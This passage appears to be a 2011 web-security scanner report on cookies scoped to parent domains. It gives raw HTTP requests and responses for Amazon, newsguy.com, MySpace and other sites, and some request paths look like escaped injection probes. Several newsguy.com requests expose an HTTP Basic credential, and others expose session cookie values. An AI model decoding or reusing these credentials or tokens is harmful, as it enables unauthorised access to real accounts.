HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:29 GMT Server: Server x-amz-id-1: 040X2S941YQ8YM9GDF3Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: sl07PFCJKDLvXHwNIxyGk0Yh+o6P2TnOLpehS7jphg0PPwo4AItme2BkehKpR0Nz Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=192-0833084-3663062; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 106589
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=181-0349682-3421209; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /music-rock-classical-pop-jazz/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:26 GMT Server: Server x-amz-id-1: 1AWZZSHBMYQFXNK2TZN0 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XKxFVzH0piW6bh12P3jE4jVP61ZQQfn1i5c66cBPEQVMNGeFeEPIQFWJv/MdsXCT Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=181-0349682-3421209; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=186-2589969-2680600; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /toys/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:33 GMT Server: Server x-amz-id-1: 036W1XT31RW6BQB2XSMW p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: kZWb7JrdWVARHF80ONC/A4r3Jr1hWDeGnSCm1H+YTMFGi/6Qk4MnrnFI1vNP5uxA Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=186-2589969-2680600; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=186-8078621-7036840; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /wishlist/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:28 GMT Server: Server x-amz-id-1: 0Z3Y87WRFKJ1Q11M2G0K p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: Ego3ck6jsiMYzZQy5mq4k0LI7SMs9DdekEwnw6kJ4wxR9tBB8EcVyWP5nD7nnlOe Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=186-8078621-7036840; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16234
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:24 GMT Server: Server x-amz-id-1: 0V0RKC4376K2YMDSV37C p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: A6zGDRGUjbMlYPxnk59HD10S5EjU04c0tVHuI5EisIW4w9Xtq+yRZhGulJQoodS8 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16197
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22/x3e/x3cli HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:24 GMT Server: Server x-amz-id-1: 0PCK2Z2XXY6R48VWHP5C p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: c5+vukLbuLrPzb9XbB4xNsX5E9P5pKl7cpikC6014m92Vy9HvsdHPJ1S4ooy8A74 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16197
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.aspirationtech.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.careersingear.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.carmax.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title> CarMax - Browse used cars and new cars online ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /post HTTP/1.1 Host: www.diigo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 25 Jan 2011 13:14:38 GMT Content-Type: text/html; charset=utf-8 Connection: close P3P: CP="NOI DEVa TAIa OUR BUS UNI" Location: https://secure.diigo.com/sign-in?referInfo=http%3A%2F%2Fwww.diigo.com%2Fpost X-Runtime: 0.00258 Content-Length: 142 Set-Cookie: CHKIO=; domain=.diigo.com; path=/; expires=Fri, 21 Jan 2011 09:14:38 GMT Set-Cookie: diigoandlogincookie=; domain=.diigo.com; path=/; expires=Fri, 21 Jan 2011 09:14:38 GMT Set-Cookie: _smasher_session=cdc373a2e1ecd61c7b92bca1b0e323d3; domain=diigo.com; path=/ Cache-Control: no-cache
<html><body>You are being <a href="https://secure.diigo.com/sign-in?referInfo=http%3A%2F%2Fwww.diigo.com%2Fpost">redirected</a>.</body></html>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /software/inn HTTP/1.1 Host: www.isc.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 00:03:30 GMT Server: Apache/2.2.15 (FreeBSD) mod_ssl/2.2.15 OpenSSL/0.9.8k DAV/2 PHP/5.2.12 with Suhosin-Patch X-Powered-By: PHP/5.2.12 Set-Cookie: SESS9cfe3c2aaf50d7f05c32ca05c0087e5f=6n6is5r71p8hmcq9aea7k12pe1; path=/; domain=.isc.org Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:03:30 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fplayer/ HTTP/1.1 Host: www.metacafe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI CUR ADM OUR NOR STA NID" Content-Type: text/html Date: Tue, 25 Jan 2011 04:45:05 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: PHPSESSID=37405ae87945ce0d058ea5e18b5a73df; path=/; domain=.metacafe.com Set-Cookie: OAGEO=US%7CTX%7CDallas%7C75207%7C32.7825%7C-96.8207%7C623%7C214%7C%7C%7C; path=/; domain=.metacafe.com Set-Cookie: OAID=f488ed4f4e9ec6a273b4b088e853dd33; expires=Wed, 25-Jan-2012 04:45:05 GMT; path=/; domain=.metacafe.com Set-Cookie: User=%7B%22sc%22%3A1%2C%22visitID%22%3A%225ff37793909b485fc44ca3c3af4425f7%22%2C%22LEID%22%3A15%2C%22LangID%22%3A%22en%22%2C%22npUserLocations%22%3A%5B244%5D%2C%22npUserLanguages%22%3A%5B9%5D%2C%22pve%22%3A1%7D; expires=Sun, 24-Jan-2016 04:45:05 GMT; path=/; domain=.metacafe.com Set-Cookie: dsavip=3400536236.20480.0000; expires=Tue, 25-Jan-2011 05:45:05 GMT; path=/ Content-Length: 160213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Modules/PostTo/Pages/ HTTP/1.1 Host: www.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="/auth/loginform?dest=http%3a%2f%2fwww.myspace.com%2fModules%2fPostTo%2fPages%2fdefault.aspx%3fu%3dhttp%253a%252f%252f ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /netlingo HTTP/1.1 Host: www.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /community/blog/ebay-use-joomla-open-source-glue HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/bsd-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /award HTTP/1.1 Host: www.packtpub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /submit HTTP/1.1 Host: www.stumbleupon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Company/Community.aspx?tp=Abt_Tab_HandsetRecycling HTTP/1.1 Host: www.t-mobile.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /i.cid?c=345683&d=30&page=landingPage HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=aDnW0LrwZayOnXwr1QHr2jw47YFSRv4Za7XcQkGtYZdRZcWf7wADFEVHJyPbI34C71hPcXHKqC4rKUR10ZauE2JtrnsNVwlCTDlBxKRo78YQefyFwV2spqhEjwpgWtMSLxFV7yjY44B29vthYSxQDZdm0Y0mEGGuq3vvM6sZbWWCBS9ygvc7XVZbdDZaekm5Kmxbh5WlcNUFZa1fiHcrP5N16q6mbZarKtmZagM8Uv3qPGsepQSrfNK9vOubwfVB3hYbZbKmqUUdsYdVgLIeb
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /a/memsubmit.asp HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_billing HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/customer_referrals Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=xKCQsCCPCUppgX7z_Q9C4emqopp0oWW0L4d3d922d
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_contact HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_billing Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=OUv_K55TQrSiTPkaFmDuUem4opp0oWW0L4d3d9235
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_flash HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_history HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_contact Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=STcAtGU6KvbrR3ZK53Am_em4opp0oWW0L4d3d9237
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/customer_referrals HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_flash Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=DHtHt0lU_TcSG.zKACw1yemKopp0oWW0L4d3d921d
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/referrals_cashout HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_flash Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=obHFXmnhMbJX5LfJRNZRWemqopp0oWW0L4d3d924f
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_overview HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:35 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=.NtkeVYzZQxxA.BCeif7Dem4opp0oWW0L4d3d944f; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_renew HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:39 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=H7MjtTwyFzdgi1ol1ako0emqopp0oWW0L4d3d9453; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_settings HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:37 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=C378.xjGh8DpywVURU2nsemaopp0oWW0L4d3d9451; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
<HTML><HEAD> <TITLE>Newsguy - Account Administration - Account Settings</TITLE> <script src="/accnt_forms.js"></script> <script language="JavaScript"> <!-- calculate available quotas by values type in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_signup_usenet HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:45 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=dLOXayhNSH0bYlx_7dbu1emqopp0oWW0L4d3d9459; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_upgrade HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:42 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=F1xwYpJIfeFc7m0gMa_onemKopp0oWW0L4d3d9456; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=4548&pcv=47 HTTP/1.1 Host: action.media6degrees.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt1181qqxzt1181qqxzt1181qqxzt1181qq; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv181qq00f0o01050110e; rdrlst=20s0so2ylebnns0000000f0o01050110e7dpletz4d0000000b0o01050110bmmnlebnns0000000f0o01050110e10rlfjpei000000010o010501101x1blebnns0000000f0o01050110exo1lebnns0000000f0o01050110eeh5lf17qf000000070o0105011076bylemlne0000000d0o01050110dw3clebnns0000000f0o01050110e7gmlebnns0000000f0o01050110ejv6lebnns0000000f0o01050110ej4ilew2e2000000090o010501109xthlebnns0000000f0o01050110efullf8gij000000030o010501103jillebnns0000000f0o01050110efuqlegh2b0000000e0o01050110eb6mlf17qk000000060o010501106mz1lebnns0000000f0o01050110ep7vlebnns0000000f0o01050110exvslebnns0000000f0o01050110exuklebnns0000000f0o01050110ex1jlebnns0000000f0o01050110ejk7lebnns0000000f0o01050110eyiplebnns0000000f0o01050110exwflebnns0000000f0o01050110eyh0lebnns0000000f0o01050110ee4vlebnns0000000f0o01050110exwblebnns0000000f0o01050110e; 